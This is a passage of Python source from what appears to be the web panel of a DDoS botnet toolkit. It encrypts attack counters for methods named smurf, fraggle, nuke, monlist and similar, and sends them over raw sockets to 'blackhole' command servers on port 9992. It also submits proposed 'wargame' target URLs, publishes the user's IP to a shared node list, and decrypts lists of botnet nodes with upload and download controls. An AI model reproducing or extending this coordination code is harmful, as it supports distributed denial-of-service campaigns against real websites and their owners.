  5861. dorking = stats_data["scanner"]
  5862. self.encrypt(grid_key, str(dorking))
  5863. if self.encryptedtext:
  5864. dorking = self.encryptedtext
  5865. self.encryptedtext = "" # clean encryptedtext buffer
  5866. transferred = stats_data["transferred"]
  5867. self.encrypt(grid_key, str(transferred))
  5868. if self.encryptedtext:
  5869. transferred = self.encryptedtext
  5870. self.encryptedtext = "" # clean encryptedtext buffer
  5871. max_chargo = stats_data["max_chargo"]
  5872. self.encrypt(grid_key, str(max_chargo))
  5873. if self.encryptedtext:
  5874. max_chargo = self.encryptedtext
  5875. self.encryptedtext = "" # clean encryptedtext buffer
  5876. missions = stats_data["missions"]
  5877. self.encrypt(grid_key, str(missions))
  5878. if self.encryptedtext:
  5879. missions = self.encryptedtext
  5880. self.encryptedtext = "" # clean encryptedtext buffer
  5881. attacks = stats_data["completed"]
  5882. self.encrypt(grid_key, str(attacks))
  5883. if self.encryptedtext:
  5884. attacks = self.encryptedtext
  5885. self.encryptedtext = "" # clean encryptedtext buffer
  5886. loic = stats_data["loic"]
  5887. self.encrypt(grid_key, str(loic))
  5888. if self.encryptedtext:
  5889. loic = self.encryptedtext
  5890. self.encryptedtext = "" # clean encryptedtext buffer
  5891. loris = stats_data["loris"]
  5892. self.encrypt(grid_key, str(loris))
  5893. if self.encryptedtext:
  5894. loris = self.encryptedtext
  5895. self.encryptedtext = "" # clean encryptedtext buffer
  5896. ufosyn = stats_data["ufosyn"]
  5897. self.encrypt(grid_key, str(ufosyn))
  5898. if self.encryptedtext:
  5899. ufosyn = self.encryptedtext
  5900. self.encryptedtext = "" # clean encryptedtext buffer
  5901. spray = stats_data["spray"]
  5902. self.encrypt(grid_key, str(spray))
  5903. if self.encryptedtext:
  5904. spray = self.encryptedtext
  5905. self.encryptedtext = "" # clean encryptedtext buffer
  5906. smurf = stats_data["smurf"]
  5907. self.encrypt(grid_key, str(smurf))
  5908. if self.encryptedtext:
  5909. smurf = self.encryptedtext
  5910. self.encryptedtext = "" # clean encryptedtext buffer
  5911. xmas = stats_data["xmas"]
  5912. self.encrypt(grid_key, str(xmas))
  5913. if self.encryptedtext:
  5914. xmas = self.encryptedtext
  5915. self.encryptedtext = "" # clean encryptedtext buffer
  5916. nuke = stats_data["nuke"]
  5917. self.encrypt(grid_key, str(nuke))
  5918. if self.encryptedtext:
  5919. nuke = self.encryptedtext
  5920. self.encryptedtext = "" # clean encryptedtext buffer
  5921. tachyon = stats_data["tachyon"]
  5922. self.encrypt(grid_key, str(tachyon))
  5923. if self.encryptedtext:
  5924. tachyon = self.encryptedtext
  5925. self.encryptedtext = "" # clean encryptedtext buffer
  5926. monlist = stats_data["monlist"]
  5927. self.encrypt(grid_key, str(monlist))
  5928. if self.encryptedtext:
  5929. monlist = self.encryptedtext
  5930. self.encryptedtext = "" # clean encryptedtext buffer
  5931. fraggle = stats_data["fraggle"]
  5932. self.encrypt(grid_key, str(fraggle))
  5933. if self.encryptedtext:
  5934. fraggle = self.encryptedtext
  5935. self.encryptedtext = "" # clean encryptedtext buffer
  5936. sniper = stats_data["sniper"]
  5937. self.encrypt(grid_key, str(sniper))
  5938. if self.encryptedtext:
  5939. sniper = self.encryptedtext
  5940. self.encryptedtext = "" # clean encryptedtext buffer
  5941. ufoack = stats_data["ufoack"]
  5942. self.encrypt(grid_key, str(ufoack))
  5943. if self.encryptedtext:
  5944. ufoack = self.encryptedtext
  5945. self.encryptedtext = "" # clean encryptedtext buffer
  5946. uforst = stats_data["uforst"]
  5947. self.encrypt(grid_key, str(uforst))
  5948. if self.encryptedtext:
  5949. uforst = self.encryptedtext
  5950. self.encryptedtext = "" # clean encryptedtext buffer
  5951. droper = stats_data["droper"]
  5952. self.encrypt(grid_key, str(droper))
  5953. if self.encryptedtext:
  5954. droper = self.encryptedtext
  5955. self.encryptedtext = "" # clean encryptedtext buffer
  5956. overlap = stats_data["overlap"]
  5957. self.encrypt(grid_key, str(overlap))
  5958. if self.encryptedtext:
  5959. overlap = self.encryptedtext
  5960. self.encryptedtext = "" # clean encryptedtext buffer
  5961. pinger = stats_data["pinger"]
  5962. self.encrypt(grid_key, str(pinger))
  5963. if self.encryptedtext:
  5964. pinger = self.encryptedtext
  5965. self.encryptedtext = "" # clean encryptedtext buffer
  5966. ufoudp = stats_data["ufoudp"]
  5967. self.encrypt(grid_key, str(ufoudp))
  5968. if self.encryptedtext:
  5969. ufoudp = self.encryptedtext
  5970. self.encryptedtext = "" # clean encryptedtext buffer
  5971. contact = grid_data["grid_contact"].encode('utf-8')
  5972. self.encrypt(grid_key, str(contact))
  5973. if self.encryptedtext:
  5974. contact = self.encryptedtext
  5975. self.encryptedtext = "" # clean encryptedtext buffer
  5976. id = grid_data["grid_token"] # plain text
  5977. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(fraggle)+grid_msg_sep+str(sniper)+grid_msg_sep+str(ufoack)+grid_msg_sep+str(uforst)+grid_msg_sep+str(droper)+grid_msg_sep+str(overlap)+grid_msg_sep+str(pinger)+grid_msg_sep+str(ufoudp)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  5978. try:
  5979. host = blackhole_ip
  5980. cport = 9992 # port used by mothership grider (server side script)
  5981. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5982. gs.settimeout(5.0)
  5983. gs.connect((host, cport))
  5984. gs.send(stream.encode())
  5985. gs.close()
  5986. try: # download latest grid after submit
  5987. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  5988. f = open(self.grid_file, "w") # write updates to grid.txt
  5989. f.write(grid)
  5990. f.close()
  5991. except:
  5992. pass
  5993. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  5994. except:
  5995. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  5996. except:
  5997. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  5998. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5999. f = open("/tmp/out", "w")
  6000. f.write(grid_trans)
  6001. f.write(end_mark)
  6002. f.close()
  6003. if page == "/cmd_transfer_grid_update":
  6004. if not os.path.exists('/tmp/out'):
  6005. open('/tmp/out', 'w').close()
  6006. with open('/tmp/out', 'r') as f:
  6007. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  6008. if page == "/cmd_transfer_wargame":
  6009. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6010. blackhole_ip = pGet["wargames_source2"]
  6011. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6012. try:
  6013. wargames_enckey = pGet["wargames_enckey"]
  6014. except:
  6015. wargames_enckey = ""
  6016. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6017. wargames_target = pGet["wargames_target"].replace(" ","/")
  6018. wargames_target=urllib.parse.unquote(wargames_target)
  6019. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  6020. t = urlparse(wargames_target)
  6021. wargames_target = t.netloc
  6022. else:
  6023. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  6024. wargames_enckey = ""
  6025. if wargames_target.startswith("www."):
  6026. wargames_target = wargames_target.replace("www.","")
  6027. wargames_estimated = pGet["wargames_estimated"]
  6028. try:
  6029. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  6030. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  6031. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  6032. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  6033. wargames_enckey = ""
  6034. except:
  6035. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  6036. wargames_enckey = ""
  6037. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6038. if wargames_enckey != "": # stream creation + encryption + package send
  6039. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  6040. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  6041. try:
  6042. self.encrypt(wargames_enckey, wargames_creation)
  6043. if self.encryptedtext:
  6044. wargames_creation = self.encryptedtext
  6045. self.encryptedtext = "" # clean encryptedtext buffer
  6046. self.encrypt(wargames_enckey, wargames_target)
  6047. if self.encryptedtext:
  6048. wargames_target = self.encryptedtext
  6049. self.encryptedtext = "" # clean encryptedtext buffer
  6050. self.encrypt(wargames_enckey, wargames_estimated)
  6051. if self.encryptedtext:
  6052. wargames_estimated = self.encryptedtext
  6053. self.encryptedtext = "" # clean encryptedtext buffer
  6054. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  6055. try:
  6056. host = blackhole_ip
  6057. cport = 9992 # port used by mothership grider (server side script)
  6058. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6059. gs.settimeout(5.0)
  6060. gs.connect((host, cport))
  6061. gs.send(stream.encode())
  6062. gs.close()
  6063. try: # download latest wargames after submit
  6064. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  6065. f = open(self.wargames_file, "w") # write updates to wargames.txt
  6066. f.write(wargames)
  6067. f.close()
  6068. except:
  6069. pass
  6070. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  6071. except:
  6072. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  6073. except:
  6074. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  6075. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6076. f = open("/tmp/out", "w")
  6077. f.write(wargames_trans)
  6078. f.write(end_mark)
  6079. f.close()
  6080. if page == "/cmd_transfer_wargame_update":
  6081. if not os.path.exists('/tmp/out'):
  6082. open('/tmp/out', 'w').close()
  6083. with open('/tmp/out', 'r') as f:
  6084. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  6085. if page == "/cmd_transfer_link":
  6086. self.pages["/cmd_transfer_link"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6087. blackhole_ip = pGet["link_source2"]
  6088. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6089. try:
  6090. link_enckey = pGet["link_enckey"]
  6091. except:
  6092. link_enckey = ""
  6093. link_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6094. link_url = pGet["link_url"].replace(" ","/")
  6095. link_url=urllib.parse.unquote(link_url)
  6096. if link_url.startswith("http://") or link_url.startswith("https://"): # parse proposed link
  6097. pass
  6098. else:
  6099. links_trans = "[Error] [AI] Proposed link hasn't a correct format!. Try it again...\n"
  6100. link_enckey = ""
  6101. if link_url.startswith("www."):
  6102. link_url = link_url.replace("www.","")
  6103. link_topic = pGet["link_topic"]
  6104. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6105. if link_enckey != "": # stream creation + encryption + package send
  6106. try:
  6107. self.encrypt(link_enckey, link_creation)
  6108. if self.encryptedtext:
  6109. link_creation = self.encryptedtext
  6110. self.encryptedtext = "" # clean encryptedtext buffer
  6111. self.encrypt(link_enckey, link_url)
  6112. if self.encryptedtext:
  6113. link_url = self.encryptedtext
  6114. self.encryptedtext = "" # clean encryptedtext buffer
  6115. self.encrypt(link_enckey, link_topic)
  6116. if self.encryptedtext:
  6117. link_topic = self.encryptedtext
  6118. self.encryptedtext = "" # clean encryptedtext buffer
  6119. stream = str(link_creation)+links_msg_sep+str(link_url)+links_msg_sep+str(link_topic)
  6120. try:
  6121. host = blackhole_ip
  6122. cport = 9992 # port used by mothership grider (server side script)
  6123. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6124. gs.settimeout(5.0)
  6125. gs.connect((host, cport))
  6126. gs.send(stream.encode())
  6127. gs.close()
  6128. try: # download latest links after submit
  6129. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  6130. f = open(self.links_file, "w") # write updates to links.txt
  6131. f.write(links)
  6132. f.close()
  6133. except:
  6134. pass
  6135. links_trans = "[Info] [AI] Link transferred! -> [OK!]\n"
  6136. except:
  6137. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  6138. except:
  6139. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  6140. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6141. f = open("/tmp/out", "w")
  6142. f.write(links_trans)
  6143. f.write(end_mark)
  6144. f.close()
  6145. if page == "/cmd_transfer_link_update":
  6146. if not os.path.exists('/tmp/out'):
  6147. open('/tmp/out', 'w').close()
  6148. with open('/tmp/out', 'r') as f:
  6149. self.pages["/cmd_transfer_link_update"] = "<pre>"+f.read()+"<pre>"
  6150. if page == "/cmd_transfer_stream":
  6151. self.pages["/cmd_transfer_stream"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6152. blackhole_ip = pGet["stream_source2"]
  6153. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6154. try:
  6155. stream_enckey = pGet["stream_enckey"]
  6156. except:
  6157. stream_enckey = ""
  6158. stream_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6159. stream_url = pGet["stream_url"].replace(" ","/")
  6160. stream_url=urllib.parse.unquote(stream_url)
  6161. if stream_url.startswith("http://") or stream_url.startswith("https://"): # parse proposed stream
  6162. pass
  6163. else:
  6164. streams_trans = "[Error] [AI] Proposed stream hasn't a correct format!. Try it again...\n"
  6165. stream_enckey = ""
  6166. if stream_url.startswith("www."):
  6167. stream_url = stream_url.replace("www.","")
  6168. stream_topic = pGet["stream_topic"]
  6169. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6170. if stream_enckey != "": # stream creation + encryption + package send
  6171. try:
  6172. self.encrypt(stream_enckey, stream_creation)
  6173. if self.encryptedtext:
  6174. stream_creation = self.encryptedtext
  6175. self.encryptedtext = "" # clean encryptedtext buffer
  6176. self.encrypt(stream_enckey, stream_url)
  6177. if self.encryptedtext:
  6178. stream_url = self.encryptedtext
  6179. self.encryptedtext = "" # clean encryptedtext buffer
  6180. self.encrypt(stream_enckey, stream_topic)
  6181. if self.encryptedtext:
  6182. stream_topic = self.encryptedtext
  6183. self.encryptedtext = "" # clean encryptedtext buffer
  6184. stream = str(stream_creation)+streams_msg_sep+str(stream_url)+streams_msg_sep+str(stream_topic)
  6185. try:
  6186. host = blackhole_ip
  6187. cport = 9992 # port used by mothership grider (server side script)
  6188. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6189. gs.settimeout(5.0)
  6190. gs.connect((host, cport))
  6191. gs.send(stream.encode())
  6192. gs.close()
  6193. try: # download latest links after submit
  6194. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  6195. f = open(self.streams_file, "w") # write updates to streams.txt
  6196. f.write(streams)
  6197. f.close()
  6198. except:
  6199. pass
  6200. streams_trans = "[Info] [AI] Stream transferred! -> [OK!]\n"
  6201. except:
  6202. streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
  6203. except:
  6204. streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
  6205. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6206. f = open("/tmp/out", "w")
  6207. f.write(streams_trans)
  6208. f.write(end_mark)
  6209. f.close()
  6210. if page == "/cmd_transfer_stream_update":
  6211. if not os.path.exists('/tmp/out'):
  6212. open('/tmp/out', 'w').close()
  6213. with open('/tmp/out', 'r') as f:
  6214. self.pages["/cmd_transfer_stream_update"] = "<pre>"+f.read()+"<pre>"
  6215. if page == "/cmd_transfer_globalnet":
  6216. self.pages["/cmd_transfer_globalnet"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6217. blackhole_ip = pGet["globalnet_source2"]
  6218. globalnet_deckey = crypto_key
  6219. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6220. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6221. blackhole_flag = False # used to check for repetitions
  6222. blackhole_ip_list = [] # used to check for repetitions
  6223. self.list_globalnet_rev = reversed(self.list_globalnet) # order by DESC
  6224. for m in self.list_globalnet_rev: # list = owner, comment, warping, ip
  6225. if globalnet_msg_sep in m:
  6226. m = m.split(globalnet_msg_sep)
  6227. globalnet_owner = m[0] # owner
  6228. self.decrypt(globalnet_deckey, globalnet_owner)
  6229. if self.decryptedtext:
  6230. globalnet_owner = self.decryptedtext
  6231. else:
  6232. globalnet_owner = nodec_text
  6233. self.decryptedtext = "" # clean decryptedtext buffer
  6234. globalnet_comment = m[1] # comment
  6235. self.decrypt(globalnet_deckey, globalnet_comment)
  6236. if self.decryptedtext:
  6237. globalnet_comment = self.decryptedtext
  6238. else:
  6239. globalnet_comment = nodec_text
  6240. self.decryptedtext = "" # clean decryptedtext buffer
  6241. globalnet_warp = m[2] # warp
  6242. self.decrypt(globalnet_deckey, globalnet_warp)
  6243. if self.decryptedtext:
  6244. globalnet_warp = self.decryptedtext
  6245. else:
  6246. globalnet_warp = nodec_text
  6247. if globalnet_warp == "OFF":
  6248. warp_color = "pink"
  6249. elif globalnet_warp == "ON1":
  6250. warp_color = "orange"
  6251. else: # ON2
  6252. warp_color = "blue"
  6253. self.decryptedtext = "" # clean decryptedtext buffer
  6254. globalnet_ip = m[3] # ip
  6255. self.decrypt(globalnet_deckey, globalnet_ip)
  6256. if self.decryptedtext:
  6257. globalnet_ip = self.decryptedtext
  6258. else:
  6259. globalnet_ip = nodec_text
  6260. self.decryptedtext = "" # clean decryptedtext buffer
  6261. if globalnet_ip == blackhole_ip: # only add NEW blackholes into the list
  6262. blackhole_flag = True
  6263. else:
  6264. if globalnet_ip in blackhole_ip_list:
  6265. blackhole_flag = True
  6266. else:
  6267. blackhole_ip_list.append(globalnet_ip)
  6268. try:
  6269. globalnet_enckey = pGet["globalnet_enckey"]
  6270. except:
  6271. globalnet_enckey = ""
  6272. globalnet_owner = pGet["globalnet_owner"]
  6273. if len(globalnet_owner) < 3 or len(globalnet_owner) > 12: # default owner
  6274. globalnet_owner = "Anonymous"
  6275. globalnet_comment = pGet["globalnet_comment"]
  6276. if len(globalnet_comment) < 3 or len(globalnet_comment) > 90: # default comment
  6277. globalnet_comment = "-"
  6278. globalnet_warp = pGet["globalnet_warp"]
  6279. try:
  6280. globalnet_ip = requests.get(check_ip_service3).text
  6281. except:
  6282. try:
  6283. globalnet_ip = requests.get(check_ip_service2).text
  6284. except:
  6285. try:
  6286. globalnet_ip = requests.get(check_ip_service1).text
  6287. except:
  6288. globalnet_ip = "Unknown!"
  6289. if blackhole_flag == False: # only add NEW blackholes/IPs into the list
  6290. if globalnet_enckey != "": # stream creation + encryption + package send
  6291. try:
  6292. self.encrypt(globalnet_enckey, globalnet_owner)
  6293. if self.encryptedtext:
  6294. globalnet_owner = self.encryptedtext
  6295. self.encryptedtext = "" # clean encryptedtext buffer
  6296. self.encrypt(globalnet_enckey, globalnet_comment)
  6297. if self.encryptedtext:
  6298. globalnet_comment = self.encryptedtext
  6299. self.encryptedtext = "" # clean encryptedtext buffer
  6300. self.encrypt(globalnet_enckey, globalnet_warp)
  6301. if self.encryptedtext:
  6302. globalnet_warp = self.encryptedtext
  6303. self.encryptedtext = "" # clean encryptedtext buffer
  6304. self.encrypt(globalnet_enckey, globalnet_ip)
  6305. if self.encryptedtext:
  6306. globalnet_ip = self.encryptedtext
  6307. self.encryptedtext = "" # clean encryptedtext buffer
  6308. stream = str(globalnet_owner)+globalnet_msg_sep+str(globalnet_comment)+globalnet_msg_sep+str(globalnet_warp)+globalnet_msg_sep+str(globalnet_ip)
  6309. try:
  6310. host = blackhole_ip
  6311. cport = 9992 # port used by mothership grider (server side script)
  6312. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6313. gs.settimeout(5.0)
  6314. gs.connect((host, cport))
  6315. gs.send(stream.encode())
  6316. gs.close()
  6317. try: # download latest globalnet after submit
  6318. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  6319. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  6320. f.write(globalnet)
  6321. f.close()
  6322. except:
  6323. pass
  6324. globalnet_trans = "[Info] [AI] Location transferred! -> [OK!]\n"
  6325. except:
  6326. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  6327. except:
  6328. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  6329. else: # blackhole/ip is into 'globalnet.txt' file
  6330. globalnet_trans = "[Error] [AI] Your 'Blackhole/IP' is currently into the list. Aborting...\n"
  6331. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6332. f = open("/tmp/out", "w")
  6333. f.write(globalnet_trans)
  6334. f.write(end_mark)
  6335. f.close()
  6336. if page == "/cmd_transfer_globalnet_update":
  6337. if not os.path.exists('/tmp/out'):
  6338. open('/tmp/out', 'w').close()
  6339. with open('/tmp/out', 'r') as f:
  6340. self.pages["/cmd_transfer_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  6341. if page == "/cmd_sync_board":
  6342. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  6343. blackhole_ip = pGet["board_source"]
  6344. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6345. try:
  6346. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  6347. f = open(self.board_file, "w") # write updates to board.txt
  6348. f.write(board)
  6349. f.close()
  6350. self.board_text = board
  6351. except:
  6352. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  6353. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6354. f = open("/tmp/out", "w")
  6355. f.write(str(board))
  6356. f.write(end_mark)
  6357. f.close()
  6358. if page == "/cmd_sync_board_update":
  6359. if not os.path.exists('/tmp/out'):
  6360. open('/tmp/out', 'w').close()
  6361. with open('/tmp/out', 'r') as f:
  6362. stream = f.read()
  6363. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  6364. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  6365. if page == "/cmd_send_message_board":
  6366. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6367. blackhole_ip = pGet["board_source"]
  6368. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6369. try:
  6370. board_key = pGet["board_key"]
  6371. except:
  6372. board_key = ""
  6373. try:
  6374. board_topic = pGet["board_topic"]
  6375. except:
  6376. board_topic = ""
  6377. try:
  6378. board_message = pGet["stream_txt"]
  6379. except:
  6380. board_message = ""
  6381. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6382. if board_key != "" or board_topic != "" or board_message != "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  6383. try:
  6384. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  6385. board_data = json.load(board_json_file)
  6386. board_json_file.close()
  6387. board_nickname = board_data["profile_nick"]
  6388. self.encrypt(board_key, board_nickname)
  6389. if self.encryptedtext:
  6390. board_nickname = self.encryptedtext
  6391. self.encryptedtext = "" # clean encryptedtext buffer
  6392. board_icon = board_data["profile_icon"]
  6393. board_icon = board_icon.replace("link", "") # keep just icon number
  6394. board_id = board_data["profile_token"]
  6395. self.encrypt(board_key, board_message)
  6396. if self.encryptedtext:
  6397. board_message = self.encryptedtext
  6398. self.encryptedtext = "" # clean encryptedtext buffer
  6399. if board_topic == "general":
  6400. board_topic = 1
  6401. elif board_topic == "opsec":
  6402. board_topic = 2
  6403. elif board_topic == "faq":
  6404. board_topic = 3
  6405. elif board_topic == "bugs":
  6406. board_topic = 4
  6407. elif board_topic == "media":
  6408. board_topic = 5
  6409. else:
  6410. board_topic = 1
  6411. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  6412. try:
  6413. host = blackhole_ip
  6414. cport = 9992 # port used by mothership grider (server side script)
  6415. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6416. gs.settimeout(30)
  6417. gs.connect((host, cport))
  6418. gs.send(stream.encode())
  6419. gs.close()
  6420. try: # download latest board after submit
  6421. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  6422. f = open(self.board_file, "w") # write updates to board.txt
  6423. f.write(board)
  6424. f.close()
  6425. except:
  6426. pass
  6427. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  6428. except:
  6429. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  6430. except:
  6431. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  6432. f = open("/tmp/out", "w")
  6433. f.write(board_trans)
  6434. f.write(end_mark)
  6435. f.close()
  6436. if page == "/cmd_send_message_board_update":
  6437. if not os.path.exists('/tmp/out'):
  6438. open('/tmp/out', 'w').close()
  6439. with open('/tmp/out', 'r') as f:
  6440. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  6441. if page == "/cmd_decrypt":
  6442. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  6443. try:
  6444. news_key = pGet["news_key"]
  6445. except:
  6446. news_key = ""
  6447. try:
  6448. missions_key = pGet["missions_key"]
  6449. except:
  6450. missions_key = ""
  6451. end_mark = "\n[Info] [AI] End of decryption."
  6452. if news_key != "": # news decryption
  6453. self.decrypted_news = []
  6454. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6455. news_key = pGet["news_key"]
  6456. for news_text in self.list_news:
  6457. self.decrypt(news_key, news_text)
  6458. if self.decryptedtext:
  6459. if len(self.decryptedtext) < 2:
  6460. self.decrypted_news.append(nodec_text)
  6461. else:
  6462. self.decrypted_news.append(self.decryptedtext)
  6463. else:
  6464. self.decrypted_news.append(nodec_text)
  6465. self.decryptedtext = "" # clean decryptedtext buffer
  6466. f = open("/tmp/out", "w")
  6467. num_news = 0 # news counter
  6468. for m in self.decrypted_news:
  6469. num_news = num_news + 1
  6470. f.write("["+str(num_news)+"] " + str(m)+"\n")
  6471. f.write(end_mark)
  6472. f.close()
  6473. else:
  6474. if missions_key != "": # missions decryption
  6475. self.decrypted_missions = []
  6476. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6477. missions_key = pGet["missions_key"]
  6478. for missions_text in self.list_missions:
  6479. self.decrypt(missions_key, missions_text)
  6480. if self.decryptedtext:
  6481. if len(self.decryptedtext) < 2:
  6482. self.decrypted_missions.append(nodec_text)
  6483. else:
  6484. self.decrypted_missions.append(self.decryptedtext)
  6485. else:
  6486. self.decrypted_missions.append(nodec_text)
  6487. self.decryptedtext = "" # clean decryptedtext buffer
  6488. f = open("/tmp/out", "w")
  6489. num_mission = 0 # missions counter
  6490. for m in self.decrypted_missions:
  6491. num_mission = num_mission + 1
  6492. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  6493. f.write(end_mark)
  6494. f.close()
  6495. else: # blackholes (nodes) decryption + data showing
  6496. self.decrypted_blackholes = []
  6497. nodec_text = "*** [This message cannot be solved with that key...]"
  6498. blackhole_key = pGet["blackhole_key"]
  6499. for blackholes_text in self.list_blackholes:
  6500. self.decrypt(blackhole_key, blackholes_text)
  6501. if self.decryptedtext:
  6502. self.decrypted_blackholes.append(self.decryptedtext)
  6503. else:
  6504. self.decrypted_blackholes.append(nodec_text)
  6505. self.decryptedtext = "" # clean decryptedtext buffer
  6506. f = open("/tmp/out", "w")
  6507. num_blackholes = 0 # blackholes counter
  6508. single_ip_num = 0
  6509. for b in self.decrypted_blackholes:
  6510. num_blackholes = num_blackholes + 1
  6511. if blackhole_sep in b: # IP | Mode | Comment | Actions
  6512. s = b.rsplit(blackhole_sep, 1)[0]
  6513. ip = str(s.rsplit(blackhole_sep, 1)[0])
  6514. single_ip = ip.replace("IP:","")
  6515. single_ip_num = single_ip_num + 1
  6516. mode = str(s.rsplit(blackhole_sep, 1)[1])
  6517. if mode == "D": # Download only mode
  6518. mode = "<input type='hidden' name='down_ip_"+str(single_ip_num)+"' id='down_ip_"+str(single_ip_num)+"' value='"+single_ip+"'><button onclick='Download_Botnet_IP("+str(single_ip_num)+")'>Download</button>"
  6519. elif mode == "U": # Upload only mode
  6520. mode = "<input type='hidden' name='up_ip_"+str(single_ip_num)+"' id='up_ip_"+str(single_ip_num)+"' value='"+single_ip+"'><button onclick='Upload_Botnet_IP("+str(single_ip_num)+")'>Upload</button>"
  6521. else: # Download/Upload mode
  6522. mode = "<input type='hidden' name='down_ip_"+str(single_ip_num)+"' id='down_ip_"+str(single_ip_num)+"' value='"+single_ip+"'><button onclick='Download_Botnet_IP("+str(single_ip_num)+")'>Download</button>" + " - " + "<input type='hidden' name='up_ip_"+str(single_ip_num)+"' id='up_ip_"+str(single_ip_num)+"' value='"+single_ip+"'><button onclick='Upload_Botnet_IP("+str(single_ip_num)+")'>Upload</button>"
